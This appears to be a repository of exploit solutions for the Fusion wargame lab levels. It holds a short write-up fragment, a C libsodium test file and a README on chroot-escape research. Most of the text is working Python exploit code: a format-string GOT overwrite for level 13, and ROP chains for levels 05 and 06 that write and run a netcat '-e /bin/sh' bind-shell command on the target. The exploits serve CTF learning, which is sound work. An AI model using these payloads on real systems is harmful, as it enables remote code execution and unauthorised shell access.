38 | Then I tried to find some kind of info leak that can be accessed from the attacker machine, but no luck. Without the info leak I had no prior knowledge about the addresses. With the knowledge I would have been able to resolve the cmdtab_head object on the heap, allocate a new heap variable, craft a partly valid linked-list and just replace the pointer on the resolved address to the newly allocated address. When I cheated, this worked and I managed to replace the linked list with the one that points to the execute_command() function. But because I had no luck with the infoleak, I did not manage to write an exploit that is reliable.<br />
39 | <br />
40 | How I solved:<br />
41 | When I first saw the dlopen function, I had a feeling maybe I can write out an .so and have some kind of constructor in it, but I didn't tried because I thought I need to find a stack overflow (based on the sheet of the level). Finally I created a shared object that has an initialization function that is called when the object is loaded. This way I managed to create a pak file that stores the filename on heap, the content of the .so file on heap and writes into a file. After that we only need to call dlopen() in the DFA and there it is, our code is running on the victim machine. Piece of cake, huh? It wasn't :)<br />
42 | <br />
43 | 


--------------------------------------------------------------------------------
/level13/level13.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | '''
  3 | solution is fully mine, but there is another writeup that explains things that
  4 | are partly found in this exploit:
  5 | https://r3v3rs3r.wordpress.com/2014/07/27/solving-fusion-level-13/
  6 | 
  7 | First we leak some data from stack with direct parameter access and default 
  8 | access, calculate the base addresses of modules. From the calculated addresses
  9 | we have the system() addr, fflush.got.plt addr and the address of the first 
 10 | parameter on stack of fflush. In the second round we have 3different variables 
 11 | controlled: user, pass, email. Email can store our payload (revshell), user can
 12 | overwrite fflush's pointer to point to system() and pass can overwrite the 
 13 | memaddr that points to the fflush first parameter on stack. In the second round
 14 | just after the fprintf we are going to execute fflush which points to system at
 15 | that moment. Bumm, there is our shell.
 16 | While loop is needed to look for addresses that can be modified in less than 63
 17 | bytes. If any of the parameters are more than 62bytes, it won't be process 
 18 | properly.
 19 | '''
 20 | 
 21 | import socket
 22 | import struct
 23 | 
 24 | TCP_IP = '10.0.0.1'
 25 | TCP_PORT = 20013
 26 | BUFFER_SIZE = 1024
 27 | 
 28 | #%128$x - /lib/i386-linux-gnu/ld-2.13.so - ld base + 0x10c9c
 29 | #%9$x - heap - base + 0x1a0 - won't be used, btw
 30 | #%08x - stack - relative random addr on stack
 31 | #ld base - libc base = 0x189000
 32 | #(gdb) p system
 33 | #$28 = {<text variable, no debug info>} 0xb7645b20 <__libc_system>
 34 | #(gdb) p/x 0xb7645b20 - 0xb7609000
 35 | #$29 = 0x3cb20 - system() from libc
 36 | #fflush.got.plt - level13 base + 0x3b74
 37 | #level13 base = ldbase + 0x23000
 38 | 
 39 | loop = 0
 40 | 
 41 | while True:
 42 | 	print "Trying to get proper addresses to set up not so lengthy format strings %d" % loop
 43 | 	loop += 1
 44 | 
 45 | 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 46 | 	s.connect((TCP_IP, TCP_PORT))
 47 | 	data = s.recv(BUFFER_SIZE)
 48 | 
 49 | 	s.send("%128$x\n")
 50 | 	data = s.recv(BUFFER_SIZE)
 51 | 	s.send("%08x\n")
 52 | 	data = s.recv(BUFFER_SIZE)
 53 | 	s.send("%9$x\n")
 54 | 	data = s.recv(BUFFER_SIZE)
 55 | 	ldleak = int(data[21:29], 16)
 56 | 	stackleak = int(data[50:58], 16)
 57 | 	heapleak = int(data[80:88], 16)
 58 | 	ldbase = ldleak - 0x10c9c 
 59 | 	level13base = ldbase + 0x23000
 60 | 	fflushgotplt = level13base + 0xb74
 61 | 	libcbase = ldbase - 0x189000
 62 | 	systemaddr = libcbase + 0x3cb20
 63 | 	cmdlineaddr = stackleak + 0x80
 64 | 	systemarg = libcbase + 0x178880
 65 | 
 66 | 	data = s.recv(BUFFER_SIZE)
 67 | 	s.send("yes\n")
 68 | 	data = s.recv(BUFFER_SIZE)
 69 | 
 70 | 	bw = 0x21
 71 | 	byte4 = (((systemaddr & 0xFF) - bw) & 0xFF) + 8
 72 | 	bw += (byte4 + 5 + (3-len(str(byte4)))) & 0xffff
 73 | 	byte3 = ((((systemaddr >> 8) & 0xFF) - bw) & 0xFF) + 8
 74 | 	bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff
 75 | 	byte2 = ((((systemaddr >> 16) & 0xFF) - bw) & 0xFF) + 8
 76 | 	bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff
 77 | 	byte1 = ((((systemaddr >> 24) & 0xFF) - bw) & 0xFF) + 8
 78 | 	bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff
 79 | 
 80 | 	format1 = struct.pack("<I", fflushgotplt)+"%"+str(byte4)+"x%522$nz"+"z"*(3-len(str(byte4)))+struct.pack("<I", fflushgotplt+1)+"%"+str(byte3)+"x%526$nz"+"z"*(3-len(str(byte3)))+struct.pack("<I", fflushgotplt+2)+"%"+str(byte2)+"x%530$nz"+"z"*(3-len(str(byte2)))+struct.pack("<I", fflushgotplt+3)+"%"+str(byte1)+"x%534$n"
 81 | 
 82 | 	bw += 0x0c + 0x07
 83 | 	byte4 = (((cmdlineaddr & 0xFF) - bw) & 0xFF) + 8
 84 | 	bw += (byte4 + 5 + (3-len(str(byte4)))) & 0xffff
 85 | 	byte3 = ((((cmdlineaddr >> 8) & 0xFF) - bw) & 0xFF) + 8
 86 | 	bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff
 87 | 	byte2 = ((((cmdlineaddr >> 16) & 0xFF) - bw) & 0xFF) + 8
 88 | 	bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff
 89 | 	byte1 = ((((cmdlineaddr >> 24) & 0xFF) - bw) & 0xFF) + 8
 90 | 	bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff
 91 | 
 92 | 	format2 = struct.pack("<I", systemarg)+"%"+str(byte4)+"x%538$nz"+"z"*(3-len(str(byte4)))+struct.pack("<I", systemarg+1)+"%"+str(byte3)+"x%542$nz"+"z"*(3-len(str(byte3)))+struct.pack("<I", systemarg+2)+"%"+str(byte2)+"x%546$nz"+"z"*(3-len(str(byte2)))+struct.pack("<I", systemarg+3)+"%"+str(byte1)+"x%550$n"
 93 | 	if (len(format1) == 62 and (len(format2) == 62)):
 94 | 		print "Exploiting!"
 95 | 		break
 96 | 	else:
 97 | 		s.close()
 98 | 
 99 | s.send(format1)
100 | data = s.recv(BUFFER_SIZE)
101 | s.send(format2)
102 | data = s.recv(BUFFER_SIZE)
103 | s.send("/bin/nc.traditional -ltp 1337 -e/bin/sh\n")
104 | data = s.recv(BUFFER_SIZE)
105 | data = s.recv(BUFFER_SIZE)
106 | print "You can connect to %s on port tcp/1337 now." % TCP_IP
107 | 


--------------------------------------------------------------------------------
/level06/level06.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | import socket
  3 | from struct import *
  4 | import time
  5 | import ssl
  6 | import threading
  7 | import sys
  8 | 
  9 | TCP_IP = '10.0.0.1'
 10 | TCP_PORT = 20006
 11 | BUFFER_SIZE = 1024
 12 | 
 13 | leakedaddr = int(sys.argv[1], 16)
 14 | reladdr = (int(pack("<I", leakedaddr).encode("hex"), 16) - 0x55c)
 15 | esi = pack("<I", reladdr)
 16 | 
 17 | diff = 0x178edc
 18 | libcbase = reladdr - diff
 19 | 
 20 | bof = "A"*60 
 21 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 22 | bof += esi
 23 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 24 | bof += pack("<I", libcbase + 0x00178020) # @ .data
 25 | bof += pack("<I", 0x42424242) # padding
 26 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 27 | bof += "/bin"
 28 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 29 | 
 30 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 31 | bof += pack("<I", libcbase + 0x00178024) # @ .data + 4
 32 | bof += pack("<I", 0x42424242) # padding
 33 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 34 | bof += "/nc."
 35 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 36 | 
 37 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 38 | bof += pack("<I", libcbase + 0x00178028) # @ .data + 8
 39 | bof += pack("<I", 0x42424242) # padding
 40 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 41 | bof += "trad"
 42 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 43 | 
 44 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 45 | bof += pack("<I", libcbase + 0x0017802c) # @ .data + 12
 46 | bof += pack("<I", 0x42424242) # padding
 47 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 48 | bof += "itio"
 49 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 50 | 
 51 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 52 | bof += pack("<I", libcbase + 0x00178030) # @ .data + 16
 53 | bof += pack("<I", 0x42424242) # padding
 54 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 55 | bof += "nal "
 56 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 57 | 
 58 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 59 | bof += pack("<I", libcbase + 0x00178034) # @ .data + 20
 60 | bof += pack("<I", 0x42424242) # padding
 61 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 62 | bof += "-ltp"
 63 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 64 | 
 65 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 66 | bof += pack("<I", libcbase + 0x00178038) # @ .data + 24
 67 | bof += pack("<I", 0x42424242) # padding
 68 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 69 | bof += "1337"
 70 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 71 | 
 72 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 73 | bof += pack("<I", libcbase + 0x0017803c) # @ .data + 28
 74 | bof += pack("<I", 0x42424242) # padding
 75 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 76 | bof += " -e/"
 77 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 78 | 
 79 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 80 | bof += pack("<I", libcbase + 0x0017803f) # @ .data + 32
 81 | bof += pack("<I", 0x42424242) # padding
 82 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 83 | bof += "/bin"
 84 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 85 | 
 86 | bof += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 87 | bof += pack("<I", libcbase + 0x00178043) # @ .data + 36
 88 | bof += pack("<I", 0x42424242) # padding
 89 | bof += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 90 | bof += "//sh"
 91 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 92 | 
 93 | bof += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
 94 | bof += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 95 | bof += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 96 | bof += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 97 | bof += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 98 | bof += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 99 | 
100 | bof += pack("<I", libcbase + 0x0003cb20) # system()
101 | bof += pack("<I", libcbase + 0x000329e0) # exit()
102 | bof += pack("<I", libcbase + 0x00178020) # @ .data
103 | 
104 | bof += "Z"*440
105 | 
106 | s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
107 | s_plain.connect((TCP_IP, TCP_PORT))
108 | s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
109 |                                cert_reqs=ssl.CERT_REQUIRED,
110 |                                ssl_version=ssl.PROTOCOL_TLSv1)
111 | data = s.recv(BUFFER_SIZE)
112 | print "1: %s" % (data)
113 | 
114 | s.send("s A -2")
115 | s.send(bof)
116 | 


--------------------------------------------------------------------------------
/level08/encrypt.c:
--------------------------------------------------------------------------------
  1 | #copy&paste&smash code
  2 | #only for testing the crypto
  3 | 
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <sodium.h>
  7 | #include <string.h>
  8 | #include <time.h>
  9 | 
 10 | struct buffer {
 11 |   unsigned char *data;
 12 |   size_t len;
 13 | };
 14 | 
 15 | static void encryption_worker()
 16 | {
 17 |   struct buffer *input_buffer;
 18 |   struct buffer *output_buffer;
 19 |   unsigned char *tmp;
 20 |   unsigned char *message = "m 0777 test1";
 21 |   unsigned char peer_remote_pk[32];
 22 |   unsigned char secret_key[32];
 23 |   int i;
 24 |   unsigned char *p;
 25 | 
 26 |     input_buffer = calloc(sizeof(struct buffer), 1);
 27 |     input_buffer->data = message;
 28 |     input_buffer->len = strlen(message);
 29 |     output_buffer = calloc(sizeof(struct buffer), 1);
 30 |     if(output_buffer == NULL) goto failure;
 31 |     output_buffer->len = input_buffer->len + crypto_box_ZEROBYTES + crypto_box_NONCEBYTES;
 32 |     output_buffer->data = malloc(output_buffer->len);
 33 |     if(output_buffer->data == NULL) goto failure;
 34 | 
 35 |     memcpy(output_buffer->data, "\x49\x00\x4a\x43\x37\xf3\x4e\x69\x8b\x59\xaa\x21\x05\x99\xd5\x79\x26\xb2\xbe\x5b\x76\xef\x55\x8b", 24);
 36 | 
 37 |     memcpy(peer_remote_pk, "\x2d\xda\x2f\xcc\x5b\xae\x6b\xba\x6f\x7d\x27\x35\x8b\x23\x04\x6f\x6d\x73\x70\x68\x67\xc2\x79\x48\x38\x98\x75\x47\x95\x72\x0b\x44", 32);
 38 |     memcpy(secret_key, "\xbc\xcc\x7b\x0c\x7e\x5f\xd0\xf9\x15\x04\x47\x19\x2c\x8d\x2f\x56\x81\xe9\x80\x8b\x95\x7f\x9e\x2f\x11\x18\xd2\x1e\xf7\x6f\x9c\xf5", 32);
 39 | //    randombytes(output_buffer->data, crypto_box_NONCEBYTES);
 40 | //    randombytes(peer_remote_pk, 32);
 41 | //    randombytes(secret_key, 32);
 42 | 
 43 |     tmp = malloc(input_buffer->len + crypto_box_ZEROBYTES);
 44 |     if(! tmp) goto failure;
 45 | 
 46 | 
 47 |      printf("input_buffer is %08x\n", input_buffer);
 48 |      printf("input_buffer->data = %s, input_buffer->len = %d\n", input_buffer->data, input_buffer->len);
 49 | 
 50 |     memset(tmp, 0, crypto_box_ZEROBYTES);
 51 |     memcpy(tmp + crypto_box_ZEROBYTES, input_buffer->data, input_buffer->len);    
 52 | 
 53 |     printf("input_buffer len: %d\n", input_buffer->len+crypto_box_ZEROBYTES);
 54 |     p = tmp;
 55 |     for (i=0;i<input_buffer->len+crypto_box_ZEROBYTES;i++)
 56 |     {
 57 |         printf("%02x", *p++);
 58 |     }
 59 |     printf("\n");
 60 |     if(crypto_box(output_buffer->data + crypto_box_NONCEBYTES, tmp, crypto_box_ZEROBYTES + input_buffer->len,
 61 |       output_buffer->data, peer_remote_pk, secret_key) != 0) {
 62 |       fprintf(stderr, "crypto_box failed\n");
 63 |       goto failure;
 64 |     }
 65 | 
 66 |     printf("output_buffer len: %d\n", output_buffer->len);
 67 |     p = output_buffer->data;
 68 |     for (i=0;i<output_buffer->len;i++)
 69 |     {
 70 | 	printf("\\x%02x", *p++);
 71 |     }
 72 |     printf("\n");
 73 |     
 74 |     goto alright;
 75 | failure:
 76 |     free(output_buffer);
 77 | alright:
 78 |     free(input_buffer);
 79 |     if(tmp) { free(tmp); tmp = NULL; }
 80 | 
 81 | }
 82 | 
 83 | static void decryption_worker()
 84 | {
 85 |   struct buffer *input_buffer;
 86 |   struct buffer *output_buffer;
 87 |   unsigned char peer_remote_pk[32];
 88 |   unsigned char secret_key[32];
 89 | 
 90 |   size_t tl;
 91 |   unsigned char *tmpout;
 92 |   unsigned char *message = "\xbe\xe7\xfb\x71\x4c\xe8\x9f\xd5\xaa\x84\x98\xca\x03\x55\x69\x0a\x20\x8f\x50\xc0\xd0\xce\xcd\xcb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2b\x35\x91\xd4\xb9\x99\x87\x53\xe9\x54\xe8\x63\x1c\xce\x3c\x2a\xc5\xab\xff\xda\xa5\xaa\xe6\x6f\x8a\x0f\x63\x77";
 93 | 
 94 |     strncpy(peer_remote_pk, "\x0c\xb6\x7f\xe5\xd8m\xcb\xfd#\xc7\x81\x83\xb8\xef?\xfd\xb4$\xc3\xa0\xc7\xa9\xdc\x8f&G\x1a?\xa0:\xcb\x10", 32);
 95 |     strncpy(secret_key, "\xf6\x93\\\x89""8\xe0yz\xb8""3R\xb6\xef@\x0b\xe8\xf7""C\x1e\xf5(\x8f""A\x8f\xb5\x13\x08S\xd6\xcdZ\x89", 32);
 96 |     input_buffer = output_buffer = NULL;
 97 |     tmpout = NULL;
 98 | 
 99 | 
100 |     input_buffer = calloc(sizeof(struct buffer), 1);
101 |     input_buffer->len = 68;
102 |     input_buffer->data = message;
103 |     tl = input_buffer->len - crypto_box_NONCEBYTES;
104 | 
105 |     tmpout = malloc(tl);
106 |     if(! tmpout) {
107 |       fprintf(stderr, "decryption_worker: unable to malloc %d bytes for tmpout, skipping\n", tl);
108 |       goto failure;
109 |     }
110 | 
111 |     output_buffer = calloc(sizeof(struct buffer), 1);
112 |     if(! output_buffer) {
113 |       fprintf(stderr, "decryption_worker: unable to calloc new buffer, skipping\n");
114 |       goto failure;
115 |     }
116 |     output_buffer->len = tl - crypto_box_ZEROBYTES;
117 |     output_buffer->data = malloc(output_buffer->len);
118 |     if(! output_buffer->data) {
119 |       fprintf(stderr, "decryption_worker: unable to malloc new data buffer of "
120 |       "%d bytes, skipping\n", tl - crypto_box_ZEROBYTES);
121 |       goto failure;
122 |     }
123 | 
124 |     // printf("attempting to decrypt with length of %d bytes\n", tl);
125 | 
126 |     if(crypto_box_open(tmpout, input_buffer->data + crypto_box_NONCEBYTES, tl, input_buffer->data,
127 |       peer_remote_pk, secret_key) != 0) {
128 |       fprintf(stderr, "decryption_worker: unable to crypto_box_open :s, skipping\n");
129 |       goto failure;
130 |     }
131 | 
132 |     // printf("decryption_worker: outputting buffer\n");
133 | 
134 |     memcpy(output_buffer->data, tmpout + crypto_box_ZEROBYTES, output_buffer->len);
135 |     
136 |     /* Insert the buffer into the queue */
137 | 
138 | 	printf(": %s", output_buffer->data);
139 |     goto alright;
140 | failure:
141 |     free(output_buffer);
142 | alright:
143 |     free(input_buffer);
144 |     if(tmpout) free(tmpout);
145 | }
146 | 
147 | 
148 | int main()
149 | {
150 | 	encryption_worker();
151 | }
152 | 


--------------------------------------------------------------------------------
/level05/level05.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | import socket
  3 | from struct import *
  4 | import time
  5 | import sys
  6 | import struct
  7 | import random
  8 | 
  9 | 
 10 | TCP_IP = '10.0.0.1'
 11 | TCP_PORT = 20005
 12 | BUFFER_SIZE = 1024
 13 | 
 14 | 
 15 | def register(s, name):
 16 | 	s.send("addreg " + name + " 32 127.0.0.1\n")
 17 | 	return True
 18 | 
 19 | def unregister(s, name):
 20 | 	s.send("addreg " + name + " 0 0.0.0.0\n")
 21 | 	return True
 22 | 
 23 | def checkname(s, name):
 24 | 	s.send("checkname " + name + "\n")
 25 | 	data = s.recv(BUFFER_SIZE)
 26 | 	if "is not indexed already" in data:
 27 | 		return False
 28 | 	else:
 29 | 		return True 
 30 | 
 31 | def bruteforce(s, prefix, postfix, range):
 32 | 	candidates = []
 33 | 	for i in range:
 34 | 		if i == 32:
 35 | 			continue
 36 | 		register(s, prefix + chr(i) + postfix)
 37 | 		time.sleep(0.1)
 38 | 		checkname(s, "test")
 39 | 		result0 = checkname(s, prefix)
 40 | 		result1 = checkname(s, prefix)
 41 | 		unregister(s, prefix + chr(i) + postfix)
 42 | 		if result0 or result1:
 43 | 			print "possible candidate: "+str(hex(i))
 44 | 			candidates.append(i)
 45 | 			continue
 46 | 	return candidates
 47 | 
 48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 49 | s.connect((TCP_IP, TCP_PORT))
 50 | data = s.recv(BUFFER_SIZE)
 51 | print "received data:", data
 52 | #test whether it works
 53 | register(s, "A"*16+"\x04")
 54 | time.sleep(0.5)
 55 | checkname(s, "test")
 56 | result = []
 57 | 
 58 | for i in xrange(4):
 59 | 	result.append(checkname(s, "A"*16))
 60 | 
 61 | unregister(s, "A"*16+"\x04")
 62 | for i in xrange(4):
 63 | 	result.append(checkname(s, "A"*16))
 64 | 
 65 | if (result[0] or result[1]) and (result[2] or result[3]):
 66 | 	if not (result[4] or result[5] or result[6] or result[7]): 
 67 | 		print "Works!"
 68 | 	else:
 69 | 		print "Does not work!"
 70 | 		sys.exit()
 71 | else:
 72 | 	print "Does not work!"
 73 | 	sys.exit()
 74 | 
 75 | retestedmemory = []
 76 | print "trying to find hightest byte"
 77 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
 78 | print "final: "
 79 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
 80 | print "final: " + str(hex(retestedmemory[0]))
 81 | 
 82 | print "trying to find second hightest byte"
 83 | memory = range(0,256)
 84 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
 85 | while len(memory) != 1:
 86 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
 87 | 
 88 | retestedmemory.append(memory[0])
 89 | print "final: " + str(hex(retestedmemory[1]))
 90 | print "trying to find second lowest byte"
 91 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
 92 | memory = range(0,256)
 93 | while len(memory) != 1:
 94 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
 95 | 
 96 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12)
 97 | 
 98 | 
 99 | print str(hex(level05base))
100 | #print "exploiting in 10sec."
101 | #time.sleep(10)
102 | 
103 | libcbase = level05base - 0x1a9000
104 | #libcbase = 0xb75bb000
105 | print str(hex(libcbase))
106 | 
107 | p = ""
108 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
109 | p += pack("<I", libcbase + 0x00178020) # @ .data
110 | p += pack("<I", 0x42424242) # padding
111 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
112 | p += "/bin"
113 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
114 | 
115 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
116 | p += pack("<I", libcbase + 0x00178024) # @ .data + 4
117 | p += pack("<I", 0x42424242) # padding
118 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
119 | p += "/nc."
120 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
121 | 
122 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
123 | p += pack("<I", libcbase + 0x00178028) # @ .data + 8
124 | p += pack("<I", 0x42424242) # padding
125 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
126 | p += "trad"
127 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
128 | 
129 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
130 | p += pack("<I", libcbase + 0x0017802c) # @ .data + 12
131 | p += pack("<I", 0x42424242) # padding
132 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
133 | p += "itio"
134 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
135 | 
136 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
137 | p += pack("<I", libcbase + 0x00178030) # @ .data + 16
138 | p += pack("<I", 0x42424242) # padding
139 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
140 | p += "nal "
141 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
142 | 
143 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
144 | p += pack("<I", libcbase + 0x00178034) # @ .data + 20
145 | p += pack("<I", 0x42424242) # padding
146 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
147 | p += "-ltp"
148 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
149 | 
150 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
151 | p += pack("<I", libcbase + 0x00178038) # @ .data + 24
152 | p += pack("<I", 0x42424242) # padding
153 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
154 | p += "1337"
155 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
156 | 
157 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
158 | p += pack("<I", libcbase + 0x0017803c) # @ .data + 28
159 | p += pack("<I", 0x42424242) # padding
160 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
161 | p += " -e/"
162 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
163 | 
164 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
165 | p += pack("<I", libcbase + 0x0017803f) # @ .data + 32
166 | p += pack("<I", 0x42424242) # padding
167 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
168 | p += "/bin"
169 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
170 | 
171 | p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
172 | p += pack("<I", libcbase + 0x00178043) # @ .data + 36
173 | p += pack("<I", 0x42424242) # padding
174 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
175 | p += "//sh"
176 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
177 | 
178 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
179 | p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
180 | p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
181 | p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
182 | p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
183 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
184 | 
185 | p += pack("<I", libcbase + 0x0003cb20) # system()
186 | p += pack("<I", libcbase + 0x000329e0) # exit()
187 | p += pack("<I", libcbase + 0x00178020) # @ .data
188 | 
189 | print str(p)
190 | 
191 | checkname(s, "A"*44+p)
192 | 
193 | s.close()
194 | 
195 | 


--------------------------------------------------------------------------------
/level08/README.md:
--------------------------------------------------------------------------------
 1 | # level08
 2 | Again a few months have passed to solve? this level. Wasn't easy, but it looks like that now. I can't say I solved in full, because there is still some things to do, but I don't know how to do it. Epic fail, really. Last part would be to break out from the chroot, but I can't. I spent enormous time to do research on chroot escapes, wrote a tool and still can't get out of it :) In case you manage solve it, please drop me a mail.
 3 | 
 4 | ## Source code
 5 | 
 6 | The source is the usual, we do not have access to everything some functions are "made-up" (source codes are not published), but still understandable. The binary starts and binds on the port tcp/20008 as usual and listens. When a client connects then it spawns a new process (same process but with *--client* arg) by calling *execve()*. This is important from exploiting POV, because it uses *execve()* and not *fork()*, a fully new process will be started. *fork()* copies the memory and give the execution to the process. By the *fork* way the stack canary will be the same and if there is a possibility (which is there in this scenario), then we can bruteforce the canaries. But because of the *execve()*, we can't do that unfortunately, which was a big bottleneck for me at the moment.  
 7 | Furthermore when the process is restarted calls *chroot()* and *chdir()* into the */home/level08* directory and drops all the privileges, even the effective and saved uid/gid. This means we have to break out from chroot with an unprivileged user. Based on my research you can only do that in two scenarios:
 8 | - ptrace: a non-chrooted process exists on the system with the same uid and ptrace can be used
 9 | - move-out-of-chroot: other chrooted process moves out your cwd from the chroot of the process.
10 | 
11 | None of the above scenarios will work for you. There is no other process which isn't chrooted or chrooted into another directory. * I scratched my head at this point for a few weeks again *
12 | 
13 | ## Encryption
14 | 
15 | After the initialization phase the spawned process will handle your requests. The communication is encrypted with NaCl (Networking and Cryptography library) which has asymmetric (public-key) encryption routines that are used here. I try to stick to python, which isn't always the best idea. As it turned out that python has two NaCl library/wrapper that could be used. Unfortunately the pynacl wasn't working the same way as the c library, gave different results for me, so I changed to pysodium wrapper. Big up Stef!  
16 | Life isn't just that easy. Probably something have changed in libsodium, but pysodium wasn't working right away. As far as I remember it looked for a symbol in the library which doesn't exist anymore, fortunately it was an easy fix.  
17 | Then I wrote some c and python code to match up with the binary and figured it slowly (Yepp I'm slow sometimes I just mixing up things which make no sense after things are fixed, but who doesn't?). You can find my ugly c tests in the repo.
18 | 
19 | ## Usage
20 | 
21 | After connecting to the server it will send you it's public key. You generate one key pair and send your public key to the server. Encryption and decryption will be done with these keys. After the key exchange you can send arbitrary data, encrypted data will land in the decryption queue, then the process queue will process it and an output will be generated. The output will land in the encryption queue and after encryption it will be sent to you. That's what the code does.  
22 | The most important part for us the process queue/pool which handles our input. It does either of the following:
23 | - *m0777name* - creates a directory with the name *"name"* and mode *0777*
